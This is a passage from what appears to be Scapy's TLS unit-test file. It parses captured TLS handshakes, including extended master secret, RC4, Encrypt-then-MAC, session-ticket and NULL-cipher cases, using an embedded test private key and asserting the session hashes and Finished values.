bytes.fromhex('1603010200010001fc0303f8b3dbcb70ed3804009c15af4a4298720619b70d1ad4f24d0e99de9e93ce3c3b201c3b2cf3266bcba19b29479ec66fe815f7db0a6b976111f70958395e7aeebaba003e130213031301c02cc030009fcca9cca8ccaac02bc02f009ec024c028006bc023c0270067c00ac0140039c009c0130033009d009c003d003c0035002f00ff01000175000b000403000102000a000c000a001d0017001e00190018337400000010000e000c02683208687474702f312e31001600000017000000310000000d002a0028040305030603080708080809080a080b080408050806040105010601030303010302040205020602002b00050403040303002d00020101003300260024001d0020e8410f5ab09d96b05f10183ccd9e93a057a73290b4c9e1c254cdfc299fc01d41001500d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000')\nshello_extms = bytes.fromhex('160303005502000051030320a54032477ea3a963b8a700090459f11f1f4ad1896e1d75745b7e2bdc51dde0200600f552db6c51b97a309717ff847bb6e8fef1ce2601544413fda7b66075b887009d000009ff0100010000170000160303036e0b00036a0003670003643082036030820248a003020102020900eb73b71c3e2f9fdc300d06092a864886f70d01010b05003045310b30090603550406130241553113301106035504080c0a536f6d652d53746174653121301f060355040a0c18496e7465726e6574205769646769747320507479204c7464301e170d3139303231353135313430335a170d3239303231323135313430335a3045310b30090603550406130241553113301106035504080c0a536f6d652d53746174653121301f060355040a0c18496e7465726e6574205769646769747320507479204c746430820122300d06092a864886f70d01010105000382010f003082010a0282010100d2f7d36b233a5619368fc3a7db0f2364dc71986dd4eebcbee85b783e139cfeb0a80de50147c936aa84230e2fa2eb91ef1737410387b932440ac7cfda3c5966eef88f688bcbee6a5d0dfaa075b77dfe836f2cb318375ff5be2b35f6d62dd7c4b147224f67d53d95c7fcc11cda7bc622369b4d4a685655169fb28f66e511724f0c9af2f74ea4cdf09b92f917246a582f67fade3eff7eca2c794d713c13f80cd53f847aa196d0adc04494790a628e327f4b53d05b83025c3ea541195f953ce6fc37edcc68a8fd6eca621f38bc08bc2d8d72cfcdf85c68f9f4f4485b32133c63299f85ffd62bde5a9d585e5a896f08319448277f19e86d5d6878bc53768b2ef9b3210203010001a3533051301d0603551d0e041604148297fb8cf3d9ddf2f60ec90f92815c28e3f3ff35301f0603551d230418301680148297fb8cf3d9ddf2f60ec90f92815c28e3f3ff35300f0603551d130101ff040530030101ff300d06092a864886f70d01010b050003820101003c001f0f5d106072e0beedfa47895329d4623422080e66caa4beb4c3d9b6868fa107467d6160e512ede7cbbefdeb17c09b9f594f86f1a9922c982ccf9655d4d67eda061f667eeb25fe7203bea00e40f150a490a78ca963d87c185ade8b7c294f5052fb1e1edb3403831e33e4026c8e56717cb77bc32321858be37a77fe7f5511ef8c2013c86e2730c5b2366875131cae0c7616fdc7c8605696133e7a685f20203c0db8e0ff1d1a5991d2f058f48f20b10a5fb0df27a1f9874cc0fe8d6ebf77e9a7ba38490e9d63241a0fb3fd7701ff3b130c9aa7aa77770280b7003c1bb5e0784c34aacb74ce8114960e50eee04602a7ab20e5c878028e4292e90e40fd631fee16030300040e000000')\nfinished_extms = bytes.fromhex('160303010610000102010007534dd8642e57edd33d156d8002f70562864c1dfe5d721763e8e4ef2c03fb14b4e4eac1864c41fcce57367f95798f04954ef957deb934536b0ac39a72c14f772d0f64b7cc0d8260e2019748fc65fd6f382da6d4f873afe6fc1fa17e786cf6c72b6a46950d2030c7b42ed10f2c4dba37282001132ddb151a44f6face6b049338217784cf2a5ac6a054a2a1d205fb7657d7affa14113c43314b54b28164423455174f57eb50f6eea0836ba1c68616db720641bf18f0cdf7bb729c9cc0b4cfeee8aeed94e00573210eb5328cbcca4ccb1aa29a910c5b5f2c96cf3a431e9677980400d574244ff6bfdabf36ba9dda84703f5760d607e4b731d4f1dc16372b0feac11403030001011603030028269118aa98b35c71e35034f35c23c78d55c04662cdb71c11b1ef862e3b4ebf8ace2aff053257bb08')\nkey = base64.b64decode(b'LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2UUlCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktjd2dnU2pBZ0VBQW9JQkFRRFM5OU5ySXpwV0dUYVAKdzZmYkR5TmszSEdZYmRUdXZMN29XM2crRTV6K3NLZ041UUZIeVRhcWhDTU9MNkxya2U4WE4wRURoN2t5UkFySAp6OW84V1didStJOW9pOHZ1YWwwTitxQjF0MzMrZzI4c3N4ZzNYL1crS3pYMjFpM1h4TEZISWs5bjFUMlZ4L3pCCkhOcDd4aUkybTAxS2FGWlZGcCt5ajJibEVYSlBESnJ5OTA2a3pmQ2JrdmtYSkdwWUwyZjYzajcvZnNvc2VVMXgKUEJQNEROVS9oSHFobHRDdHdFU1VlUXBpampKL1MxUFFXNE1DWEQ2bFFSbGZsVHptL0RmdHpHaW8vVzdLWWg4NAp2QWk4TFkxeXo4MzRYR2o1OVBSSVd6SVRQR01wbjRYLzFpdmVXcDFZWGxxSmJ3Z3hsRWduZnhub2JWMW9lTHhUCmRvc3UrYk1oQWdNQkFBRUNnZ0VBSGQ5NTBISHNrTVNCTlZvL0tvVzZQVTM1eDl2Rml3aXUvN2YwRHRZNEpOaGUKODVpNTFiQm9UVHpvdWRtRStGWnh4SmZPWFBHYkI4TWF3N0JxOXFDeU1xUi9xZzRoa21EOVREMXcrenBBWFFtLwpkRlRuMk85OW5MQUJ0RElmeTYzT2JJUXZPa1MzczczZHpIcUpkWDFZMnVLaXp5WjNFeFZoQjZmR3Fpa09ScU1BCmNYbjJSRzN1UXFNWk4yUkVUK1hFYWdsa1dkbGphVTdaTC9CbklRT2xGS0h2ZzVSeGFwWGpJbTM2NnFUVStreGEKWDJFZnllOUJycWxWK0o4cnYzODVjRDBQc3RkSVFTQzMxZFBzUHMrSnJMVlBKQVpGZTBLVk1lYkk2ODU1cERYZApGd1ZGcC9BOXhFa3NwRW1jS0tnL1ZkZ3JQZUxMQmxhVm9mMVhPeUhWQVFLQmdRRHhPdXFGaXJvNTNQNGZQUGlMCkFnTTNvRnpmY2xwdDFMdnduelprUmVMU1NvVFBvZSt1R2xMdTBpS3lMUHBjWm1DTCt0bldsSXBheHRYOU1CRmUKOWNvMlJpSU9WM2JZM0ZpOTBLYjlvN3NyZURhaWE5NElHNGlBYktyWjJJdktBZmFkWnBqb1hBTXZpWnBEYWxGYgprZWVCd29nV0sreTdic2EwU1RYTGVMdjF5d0tCZ1FEZjRwT2lUZ3RBNFdtMXo2WFB4Z0ZCa3A3OWVjaWhINTlICnF1cVJNNkhtQ2YzSnZqZzJCZnYyb2hYNTlTU2VnZTI5ek0yZEhmVGhSeW1vZlg5VkpyMnRYY2FhVWpkRnp1Ui8Kcm1EblJMTjVDTUFnUWNCU3M5UXFCaXdTM0hqVmpML1REcFMvblJwY2VCQnNZTFYvR1YvQkpvWDkxTlVodVRXcwpjQ0VvRmNVOVF3S0JnUUNjbCtGTHhTMTBpSGZTY1hMcVVla2l3QS9wNFVMQWoxdGRMUTFTOUdiMG1ma3pDKzBaCitPNmpKM2ZzYi9RcDdTOTVUdU1BUDdhOGpOeTJtZkI4MDFOci9nVDNpR0dYRHhyd1JUVlI2MnFDSW14YzdXYloKbm4zeTJCZmtpSVRlSW40ajJVa2pkUytBT1hRUmxUK3hFTHJXNmlBTFBJSlZmZWl4ZWVEWTc4d2NGd0tCZ0Z5aQoxcTFvbDNWd0Q1cGY0ZDdYc2Z0YzNKWkxCcjNNWk01MXBQc1JueUtjN2JyRkQyTWpGTDlYRDdyT09TbXczeHNTCm05MHY0UHc1d3IzcHQzOFhPWko3WThyRXpBUUJlRUJ3ZWI0WGloOUJoS1dVTHl6SkpiZUJ1RWpSbXRuWmxDR1QKUGU4TzVUSnZwM1FBaS9pY0dpZkVkZHF5YnNHMmJjUDgzV3RGbnNnYkFvR0FMOHF4VUx3bGlMck1ML3c3aEJNegpXSHdKM21PK0NXbzFWR3p4bi9lK3I2ejVTUW03M0VuYzlSZnVkN3RBWmU1QUhXYXVSR3RNaVNoY0J1bkl5Q0g1CnU2Q2laZU5UOTBRdElLRmVCS09QSk5WNDR1QzJtK0xKQkNGa0hzU085MHp0dHZzcmVyU0tiNG5oZ2tiZDhxQ24KbDVFZFBpZEx2NXdiY0tyc3dIVzZYSm89Ci0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0=')\n# Load key\nssl_key = PrivKey(key)\n\n# Load TLS session\nr1 = TLS(chello_extms)\nr1.tls_session.server_rsa_key = ssl_key\nr2 = TLS(shello_extms, tls_session=r1.tls_session.mirror())\nr3 = TLS(finished_extms, tls_session=r2.tls_session.mirror())\n\nr3\n\nassert r3.tls_session.extms\nassert r3.tls_session.session_hash == b'\\n\\x8b\\xe0\\x08S\\xb9f|\\xd4\\x1f\\xc5\\x8f\\xdb\\xfaj\\xc6\\xb4Aj\\\\j~B)Ep\\x07\\x90\\xc6/\\x18\\x1e\\x99\\x1e\\x8d.\\xe2,B\\xe1\\x10ZJ\\x10^\\xect('\n\nl3 = r3.getlayer(TLS, 3)\nassert isinstance(l3.msg[0], TLSFinished)\nassert l3.msg[0][TLSFinished].vdata == b'\\x00\\x1fG\\xd8VD@\\x0ctK\\xeee'\n\n# RC4 case\n\nchello_extms = bytes.fromhex('160301008501000081030360037703ac90bb5e29ae0fca71b68dd8133b17b7060c13779d34f69d5c3255110000060005000400ff01000052337400000010000e000c02683208687474702f312e310016000000170000000d0030002e040305030603080708080809080a080b080408050806040105010601030302030301020103020202040205020602')\nshello_extms = bytes.fromhex('1603030055020000510303c985430a03add71566a952a16249e471cd3226c0792ba42c444f574e4752440120e835d66cd3293b9fcb157d5c477848d654a2d3a42fc92bcf9c472171188f69610005000009ff0100010000170000160303036e0b00036a0003670003643082036030820248a003020102020900eb73b71c3e2f9fdc300d06092a864886f70d01010b05003045310b30090603550406130241553113301106035504080c0a536f6d652d53746174653121301f060355040a0c18496e7465726e6574205769646769747320507479204c7464301e170d3139303231353135313430335a170d3239303231323135313430335a3045310b30090603550406130241553113301106035504080c0a536f6d652d53746174653121301f060355040a0c18496e7465726e6574205769646769747320507479204c746430820122300d06092a864886f70d01010105000382010f003082010a0282010100d2f7d36b233a5619368fc3a7db0f2364dc71986dd4eebcbee85b783e139cfeb0a80de50147c936aa84230e2fa2eb91ef1737410387b932440ac7cfda3c5966eef88f688bcbee6a5d0dfaa075b77dfe836f2cb318375ff5be2b35f6d62dd7c4b147224f67d53d95c7fcc11cda7bc622369b4d4a685655169fb28f66e511724f0c9af2f74ea4cdf09b92f917246a582f67fade3eff7eca2c794d713c13f80cd53f847aa196d0adc04494790a628e327f4b53d05b83025c3ea541195f953ce6fc37edcc68a8fd6eca621f38bc08bc2d8d72cfcdf85c68f9f4f4485b32133c63299f85ffd62bde5a9d585e5a896f08319448277f19e86d5d6878bc53768b2ef9b3210203010001a3533051301d0603551d0e041604148297fb8cf3d9ddf2f60ec90f92815c28e3f3ff35301f0603551d230418301680148297fb8cf3d9ddf2f60ec90f92815c28e3f3ff35300f0603551d130101ff040530030101ff300d06092a864886f70d01010b050003820101003c001f0f5d106072e0beedfa47895329d4623422080e66caa4beb4c3d9b6868fa107467d6160e512ede7cbbefdeb17c09b9f594f86f1a9922c982ccf9655d4d67eda061f667eeb25fe7203bea00e40f150a490a78ca963d87c185ade8b7c294f5052fb1e1edb3403831e33e4026c8e56717cb77bc32321858be37a77fe7f5511ef8c2013c86e2730c5b2366875131cae0c7616fdc7c8605696133e7a685f20203c0db8e0ff1d1a5991d2f058f48f20b10a5fb0df27a1f9874cc0fe8d6ebf77e9a7ba38490e9d63241a0fb3fd7701ff3b130c9aa7aa77770280b7003c1bb5e0784c34aacb74ce8114960e50eee04602a7ab20e5c878028e4292e90e40fd631fee16030300040e000000')\nfinished_extms = bytes.fromhex('16030301061000010201004971b89ae4355a001c49ccb49ed0664a9090a2dc0c14c97563b6dd98f13004ac5327c97abf10617b1f5d19b1f6e1091ccf159693497ebda262aedba2f3b76ae217d56477cad45e2ea129c324083701c2e99e65b6d63f916f963de8d98c5357d22272c032a30acccd673d1556d01e22e206186bcda3a5845d6dacee260ab66f47ea86a4c0081faa082b398f2c65da35264428f320c354b97cd96c986da43c8510e914ffb7f8bb73baee2530c4533ae2d6a922771af689c15b42c53428978510a3e3e90a3806f77fc1cb35c2c3f34dd7e3f831a79bc59b333f0c9e8be49390cd2a8e1c88dafbb9e3e24d1e0530703dbff7cd1c516fcc21a7d484f2111f985f03f8140303000101160303002457ed5c62171e4720a5890cf9ef09323f6e2db063aeebea776a54b879ffb6a69182d15cae')\n\n# Load TLS session\nr1 = TLS(chello_extms)\nr1.tls_session.server_rsa_key = ssl_key\nr2 = TLS(shello_extms, tls_session=r1.tls_session.mirror())\nr3 = TLS(finished_extms, tls_session=r2.tls_session.mirror())\n\nassert r3.tls_session.extms\nassert r3.tls_session.pwcs.prf.hash_name == \"SHA256\"\nassert r3.tls_session.session_hash == b'2\\xdc\\xf5\\xcb\\xbc\\x99\\xc6IV\\xba\\x0f.\\x0bdq\\x1f=\\xef\\xdaW\\xfc*A\\x9b\\xe2?b\\xccKW\\xe9\\xb7'\n\nl3 = r3.getlayer(TLS, 3)\nassert isinstance(l3.msg[0], TLSFinished)\nassert l3.msg[0][TLSFinished].vdata == b'\\x15\\xd6\\xd5\\xea\\x84\\xee\\xb3\\xdd\\xd6\\x10\\xd8\\x11'\n\n= Reading TLS test session - Encrypt-then-MAC extension\n~ libressl\n\nfrom scapy.layers.tls.cert import PrivKey\nfrom scapy.layers.tls.handshake import TLSFinished\nfrom scapy.layers.tls.record import TLS\n\nclient_hello = bytes.fromhex('16030100c9010000c50303611a2f42b70345cfbc5c5c4da1929bea8a2cb8b1fd10ab1341e43ffaa8856a63000038c02cc030009fcca9cca8ccaac02bc02f009ec024c028006bc023c0270067c00ac0140039c009c0130033009d009c003d003c0035002f00ff01000064000b000403000102000a000c000a001d0017001e00190018337400000010000e000c02683208687474702f312e310016000000170000000d002a0028040305030603080708080809080a080b080408050806040105010601030303010302040205020602')\nserver_hello = bytes.fromhex('1603030059020000550303a22c975875df69bea936cbd28b083cde754693b4f34a15a036e5e57b7f4755cf20226e6386f90e3751723beea9196640d5bbe6c7c9f314568fa3645cb7218e9159003d00000dff010001000016000000170000160303036e0b00036a0003670003643082036030820248a003020102020900eb73b71c3e2f9fdc300d06092a864886f70d01010b05003045310b30090603550406130241553113301106035504080c0a536f6d652d53746174653121301f060355040a0c18496e7465726e6574205769646769747320507479204c7464301e170d3139303231353135313430335a170d3239303231323135313430335a3045310b30090603550406130241553113301106035504080c0a536f6d652d53746174653121301f060355040a0c18496e7465726e6574205769646769747320507479204c746430820122300d06092a864886f70d01010105000382010f003082010a0282010100d2f7d36b233a5619368fc3a7db0f2364dc71986dd4eebcbee85b783e139cfeb0a80de50147c936aa84230e2fa2eb91ef1737410387b932440ac7cfda3c5966eef88f688bcbee6a5d0dfaa075b77dfe836f2cb318375ff5be2b35f6d62dd7c4b147224f67d53d95c7fcc11cda7bc622369b4d4a685655169fb28f66e511724f0c9af2f74ea4cdf09b92f917246a582f67fade3eff7eca2c794d713c13f80cd53f847aa196d0adc04494790a628e327f4b53d05b83025c3ea541195f953ce6fc37edcc68a8fd6eca621f38bc08bc2d8d72cfcdf85c68f9f4f4485b32133c63299f85ffd62bde5a9d585e5a896f08319448277f19e86d5d6878bc53768b2ef9b3210203010001a3533051301d0603551d0e041604148297fb8cf3d9ddf2f60ec90f92815c28e3f3ff35301f0603551d230418301680148297fb8cf3d9ddf2f60ec90f92815c28e3f3ff35300f0603551d130101ff040530030101ff300d06092a864886f70d01010b050003820101003c001f0f5d106072e0beedfa47895329d4623422080e66caa4beb4c3d9b6868fa107467d6160e512ede7cbbefdeb17c09b9f594f86f1a9922c982ccf9655d4d67eda061f667eeb25fe7203bea00e40f150a490a78ca963d87c185ade8b7c294f5052fb1e1edb3403831e33e4026c8e56717cb77bc32321858be37a77fe7f5511ef8c2013c86e2730c5b2366875131cae0c7616fdc7c8605696133e7a685f20203c0db8e0ff1d1a5991d2f058f48f20b10a5fb0df27a1f9874cc0fe8d6ebf77e9a7ba38490e9d63241a0fb3fd7701ff3b130c9aa7aa77770280b7003c1bb5e0784c34aacb74ce8114960e50eee04602a7ab20e5c878028e4292e90e40fd631fee16030300040e000000')\nclient_finished = bytes.fromhex('1603030106100001020100482bf86fa7047c767ecc5f46e971f2349232d57d4c40b04856b6ea2b5645b5b233c0cd2ad7b05101d6a3fcbd2698b25064501ba4f0cde40c8189abc29aebfffcb87413d4590cae7cf3589fa371ad5e0d161da9c275a4b8ca1aa9a400a3d76021f92b872403a72a22bad6368276010209ca1344971adf7d7a9cdeefd534cd933ec3d2852ea1dfff217f7cd55eac7d2b18f7c5600c56f28746389d1d6c33cd2ac24817632fc0fbd81ffcf528b1c2a5b328a0105e88513e6b2f95b51ca3adf390146662115a721bfd718eae3033388aaa5cb37e2c16428a6f7c994f961137f6a7f933327ed300f15621500d427d261f39970bbf40f4ba303963609439007d34e6bc1403030001011603030050f4b7962d5455e9244efe886bbd4156ca20936e4b8868d80c82b06ceac7cff6d69f130a610f2aa4c4fd8cb2681f84e3ebecad1b563bcd258255aa509ba2b6388f90ac5f1c1f84f1569dc3809667b86ba4')\nserver_finished = bytes.fromhex('14030300010116030300509e8e5fd6aebaa98263e98266fffcf7fd21eb50fb0510b8598660afb65c57a025374c1e63aff3e260dd5d027180e8aa0d85d43e0c0b54e8783e4ce51a71ef0ae555ab81404020342ca1a34643ce713688')\n\n# Load TLS session\nr1 = TLS(client_hello)\nr1.tls_session.server_rsa_key = ssl_key\nr2 = TLS(server_hello, tls_session=r1.tls_session.mirror())\nr3 = TLS(client_finished, tls_session=r2.tls_session.mirror())\nr4 = TLS(server_finished, tls_session=r3.tls_session.mirror())\n\nclient_finished = r3.getlayer(TLS, 3).msg[0]\nserver_finished = r4.getlayer(TLS, 2).msg[0]\n\nassert r4.tls_session.encrypt_then_mac\nassert isinstance(client_finished, TLSFinished)\nassert isinstance(server_finished, TLSFinished)\nassert client_finished.vdata == bytes.fromhex('771049b4ff714ac71253f84f')\nassert server_finished.vdata == bytes.fromhex('42c9765e833997b6714fec75')\n\n###\n### Other/bug tests\n###\n\n= Reading TLS test session - Full TLSNewSessionTicket captured\n~ libressl\nimport os\nfilename = scapy_path(\"/test/pcaps/tls_new-session-ticket.pcap\")\na = rdpcap(filename)\npkt = a[4]\nassert isinstance(pkt[TLS].msg[0], TLSNewSessionTicket)\nassert pkt[TLS].msg[0].ticket == b'6k\\x8b{\\xa8\\xaf\\xf0\\x8aG*\\xdd\\xc2\\xf6\\t\\xde\\xc9y\\t\\x1d\\xdb\\xd55!\\x91\\x1f+\\x1a\\xa1@\\xfe/\\x90\\xba\\x98\\xc5\\xb3\\xe8>y\\xae\\xda\\xc3@\\x184\\xf6\\x1f\\xbc{|\\xe87\\xfe>\\xba\\\\\\x1d\\x11\\x00\\xe6\\xb9\\xf6[,X\\x0e\\xe0jY\\xa8\\xfa\\x07!1\\xb8\\x82\\xbe\\xa6aK\\xa7\\xad;(\\x91^\\xb9\\xd3a\\xa5\\xfb%\\xda\\x10f\\xfe\\xf9\\xc8\\xf4\\xc6z\\xa7d\\xa5\\x89\\x82IZ\\xdc3\\xa0{\\x8c\\x1c\"\\xd5w\\x8e\\x07\\xa0G\\xc6\\xa7\\x0c\\xf3<:\\x82c\\x8a\\xeb\\x14(\"\\xc4\\x9bLS\\xc1\\x9f\\xd7\\xa09\\xe8,\\xe4*i\\xf3\\x9b\\xbb\\xb5\\x98\\xc9*EQ\\x1e\\xf4\\xf7\\xb05\\xbaby\\xa0\\xceW\\x87\\x903\\x193\\xe3\\xfb\\xaf\\xe82U\\xbd\\xe7t\\xd0\\xa4T\\xe4\\xd8\\xe6\\xdbd!\\xf9'\nassert pkt[TLS].msg[0].lifetime == 3600\n\n= Reading TLS test session - ApplicationData\n~ libressl\nt7 = TLS(p7_data, tls_session=t6.tls_session.mirror())\nassert t7.iv == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01'\nassert t7.mac == b'>\\x1dLb5\\x8e+\\x01n\\xcb\\x19\\xcc\\x17Ey\\xc8'\nassert not t7.pad and not t7.padlen\nassert isinstance(t7.msg[0], _TLSEncryptedContent)\nlen(t7.msg[0].load) == 478\n\n= Reading TLS msg dissect - Packet too small\nassert isinstance(TLS(b\"\\x00\"), Raw)\n\n= Reading TLS msg dissect - Wrong data\nfrom scapy.layers.tls.record import _TLSMsgListField\n# Unknown type\nassert isinstance(_TLSMsgListField.m2i(_TLSMsgListField(\"\", []), TLS(type=0), b'\\x00\\x03\\x03\\x00\\x03abc'), Raw)\n\nwith no_debug_dissector():\n    # not even bytes to make it crash\n    assert isinstance(_TLSMsgListField.m2i(_TLSMsgListField(\"\", []), TLS(type=20), 1), Raw)\n\n= Test x25519 dissection in ServerKeyExchange\n\nimport binascii\nfrom scapy.layers.tls.session import tlsSession\n\nsession = tlsSession(connection_end=\"client\")\n# Raw hex data of a TLS Handshake - Server Key Exchange with x25519 elliptic curve\nhex_data = \"160303012c0c00012803001d202f19b3f5defbd65cfdcbb3583d4760ef74dde4144e01049a43d8a036df38ca15080401008e4e4afc21f612d2f024bb489940a733ea606ed36cba9c60b8479264dcb5f4a0f839d85fa02f0a4be087243e69e575af48917ba6dfda9b485311cd8fe0d7616ece9b216b7b878588c03d3ab90b9dc981f758588905307541c7d3ccb6655baf7bfb0628f3a0ac181729da6b7fcba3efdd43f5bbaec53cfa4dd512941ee1204a42cba8a989e724bd42ac2cb1373ddb54acba29ae45fd58047176e4cb623a9b301711b926d15103f5251f6a0288b04a644834a9843752bbe2f8554beffdbf412983456fcc38b9caabdf7cf9ea2c30bd72dc00cf2cf48f22cd7f17b2d22fb651facb772507cc2fb83301c0c8dd1c3b4f24f38f0c4c82d21d0fa5d1e0b260d545e701\"\npacket = TLS(binascii.unhexlify(hex_data), tls_session=session)\n\nassert isinstance(packet.msg[0], TLSServerKeyExchange)\nassert packet.msg[0].params[0].sprintf(\"%named_curve%\") == \"x25519\"\nassert packet.msg[0].params[0].point == b'/\\x19\\xb3\\xf5\\xde\\xfb\\xd6\\\\\\xfd\\xcb\\xb3X=G`\\xeft\\xdd\\xe4\\x14N\\x01\\x04\\x9aC\\xd8\\xa06\\xdf8\\xca\\x15'\n\n\n###############################################################################\n####### Read handshake with TLS_ECDHE_ECDSA_WITH_NULL_SHA #####################\n###############################################################################\n\n+ Read handshake with NULL Cipher\n\n= Reading test session - Loading unparsed TLS records\np1_ch = b'\\x16\\x03\\x01\\x00{\\x01\\x00\\x00w\\x03\\x03\\x86C\\xf2\\xe4x\\xbaL\\x9a`\\xc3\\x9aR\\xa8\\xb4\\xac\\xd0\\r\\xe2\\xa3N\\xe6\\xa8]g5z$j\\xb1(%\\xe3\\x00\\x00\\x08\\xc0\\x06\\xc0#\\xc0$\\x00\\xff\\x01\\x00\\x00F\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\n\\x00\\x08\\x00\\x1d\\x00\\x17\\x00\\x19\\x00\\x18\\x00#\\x00\\x00\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x00\\r\\x00 \\x00\\x1e\\x06\\x01\\x06\\x02\\x06\\x03\\x05\\x01\\x05\\x02\\x05\\x03\\x04\\x01\\x04\\x02\\x04\\x03\\x03\\x01\\x03\\x02\\x03\\x03\\x02\\x01\\x02\\x02\\x02\\x03'\np2_sh = b'\\x16\\x03\\x03\\x006\\x02\\x00\\x002\\x03\\x03C\\nm.s\\x07W\\xef\\x91\\xf0\\xc7\\xd8\\xaa\\xc3NL}\\xb0tw?\\xd8\\n\\x8f\\x8d\\xc4\\xee,fhY\\x85\\x00\\xc0\\x06\\x00\\x00\\n\\x00\\x0b\\x00\\x02\\x01\\x00\\x00\\x17\\x00\\x00'\np3_cert = b'\\x16\\x03\\x03\\x02\\xca\\x0b\\x00\\x02\\xc6\\x00\\x02\\xc3\\x00\\x02\\xc00\\x82\\x02\\xbc0\\x82\\x02\\x1d\\xa0\\x03\\x02\\x01\\x02\\x02\\x02\\x04\\xd20\\n\\x06\\x08*\\x86H\\xce=\\x04\\x03\\x020v1\\x0b0\\t\\x06\\x03U\\x04\\x06\\x13\\x02PL1\\x0b0\\t\\x06\\x03U\\x04\\x08\\x0c\\x02PL1\\x0c0\\n\\x06\\x03U\\x04\\x07\\x0c\\x03KTW1\\x0c0\\n\\x06\\x03U\\x04\\n\\x0c\\x03ORG1\\x0e0\\x0c\\x06\\x03U\\x04\\x0b\\x0c\\x05OUNIT1\\x110\\x0f\\x06\\x03U\\x04\\x03\\x0c\\x08SomeName1\\x1b0\\x19\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\t\\x01\\x16\\x0cemail@adress0\\x1e\\x17\\r190404065502Z\\x17\\r270621065502Z0\\x81\\x881\\x0b0\\t\\x06\\x03U\\x04\\x06\\x13\\x02PL1\\x0b0\\t\\x06\\x03U\\x04\\x08\\x0c\\x02PL1\\x0c0\\n\\x06\\x03U\\x04\\x07\\x0c\\x03KTW1\\x0c0\\n\\x06\\x03U\\x04\\n\\x0c\\x03ORG1\\x110\\x0f\\x06\\x03U\\x04\\x0b\\x0c\\x08SomeUnit1\\x110\\x0f\\x06\\x03U\\x04\\x03\\x0c\\x08SomeName1\\r0\\x0b\\x06\\x03U\\x04\\x05\\x0c\\x0412341\\x1b0\\x19\\x06\\t*\\x86H\\x86\\xf7\\r\\x01\\t\\x01\\x16\\x0cemail@adress0Y0\\x13\\x06\\x07*\\x86H\\xce=\\x02\\x01\\x06\\x08*\\x86H\\xce=\\x03\\x01\\x07\\x03B\\x00\\x04\\x97\\xfcij\\xa2\\xeeZh>\\x94\\n\\xad\\x1f\\x16\\x91\\x80\\x89\\xc5\\xb3\\xc4\\xb7\\xd1A\\xf0(\\x96\\x93UJ\\xca\\x98Y\\xdec\\xad\\xa0\\xbb\\xd9\\xebl\\x15\\xc7\\xf2\\xa9\\xcfl\\xbf\\x0f\\xed\"\\x08%\\x8f\\xaf\\xd7\\xf1K\\x98\\xf1\\xf9\\x04.\\x05\\x81\\xa3\\x81\\x870\\x81\\x840\\t\\x06\\x03U\\x1d\\x13\\x04\\x020\\x000\\x0e\\x06\\x03U\\x1d\\x0f\\x01\\x01\\xff\\x04\\x04\\x03\\x02\\x03\\xa80\\'\\x06\\x03U\\x1d%\\x04 0\\x1e\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x04\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x02\\x06\\x08+\\x06\\x01\\x05\\x05\\x07\\x03\\x010\\x1d\\x06\\x03U\\x1d\\x0e\\x04\\x16\\x04\\x14\\xb2\\x12\\x8c\\xe4\\x16\\x17XjZ%+4G\\xa0\\xfd\\x0b!\\x91\\xc7\\xec0\\x1f\\x06\\x03U\\x1d#\\x04\\x180\\x16\\x80\\x14\\xe2\\x17\\xb1\\xb1\\xe1\\xca3\\xe8\\xed\\xfd\\x86\\x13\\x10\\xe7x5H\\xdf1\\xf50\\n\\x06\\x08*\\x86H\\xce=\\x04\\x03\\x02\\x03\\x81\\x8c\\x000\\x81\\x88\\x02B\\x01\\xeb\\xc9\\xbe\\xa1^\\x12\\x85\\x10\\x03\\x9f$\\xc6(\\xce\\xd7x\\xc3w\\x00\\xd2\\x8an\\\\r\\xe8\\xb3\\xb9\\x92Q\\x8f\\x9f\\x81v\\xa7*\\xa0\\xb2\\xd8\\x17\\x12\\xbe\\xef\\x04c\\x97T\\x8c;&B[\\xda\\xf8\\x81c7\\xd25\\xfb\\xae\\x19\\x81A\\x9b\\xc6\\x02B\\x012\\xe9G\\xd9;9\\x97\\x9c\\xed_\\xa19K\\xef\\x1b\\xf1\\x8f\\x01\\x86icw\\r\\xa1\\x19\\xb7\\xa6\\xe6\\xc7\\xef\\xd6\\x1bTr\\xb1~\\x8ae:4\\xdb\\xdb\\x07\\xcf&\\xd4\\xc0,\\xf7\\xf5\\xa7\\'m\\xe1a\\x06\\xb5>\\xec\\xf1kDB\\xf7\\\\'\np4_ske = b'\\x16\\x03\\x03\\x00\\x93\\x0c\\x00\\x00\\x8f\\x03\\x00\\x17A\\x04\\xb4\\xd4\\xf6^\\x87(\\x97\\xc4\\xe5)\\x19E\\xe1\\x9e\\xfdPOf\\x91\\xa1PTdk\\xdcU\\n\\xb9\\x07\\x93\\xc8\\xd1\\xb0\\tA\\xce\\xf9\\xcd\\x0e\\xb6\\xd7\\xf0\\r\\xc7\\xba\\xaa\\xd9zA\\xe8\\x8f(\\xe1\\x0fE[+&9\\x90\\xd4\\n`O\\x06\\x03\\x00F0D\\x02 -\\x04\\xe5.g\\x92\\xca\\xbe\\xe4\\x87\\x9a\\x88\\x80~<\\x10Q&v\\xfa~\\xf4h\\x7f\\xd0\\xa1\\x16\\xf2\\xfdN\\x8b\\xdf\\x02 eI\\xf0{E6mU0bRt\\xb9\\xc4\\xcff\\xf9\\x87\\xfdL\\xdd\\xa3d\\xcf1\\xab| ~\"<\\xcd'\np5_shd = b'\\x16\\x03\\x03\\x00\\x04\\x0e\\x00\\x00\\x00'\np6_cke_ccs_cfin = 